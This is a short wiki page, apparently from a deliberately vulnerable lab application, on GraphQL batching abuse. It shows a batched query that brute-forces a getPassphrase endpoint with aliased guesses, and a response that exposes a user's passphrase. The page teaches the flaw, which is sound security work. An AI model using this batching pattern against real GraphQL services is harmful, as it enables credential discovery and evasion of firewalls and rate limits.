Skip to content

GraphQL Batching Brute Force

Sam Sanoop edited this page Sep 8, 2022 · 2 revisions

Details

GraphQL supports batched queries. This feature can be abused to bypass web application firewalls and conduct denial of service attacks.

Technical Details

The getPassphrase endpoint can be brute forced to find passphrases of all users.

query Query {
  first: 	getPassphrase(reminder:"t"){
passphrase,
reminder
  
}
  second: getPassphrase(reminder:"te"){
passphrase,
reminder

}
  third: getPassphrase(reminder:"test"){
passphrase,
reminder
  
}
}

Result:

{
  "data": {
    "first": null,
    "second": null,
    "third": {
      "passphrase": "397a363a383a3180496e6d3371714a7c",
      "reminder": "test"
    }
  }
}

References

Clone this wiki locally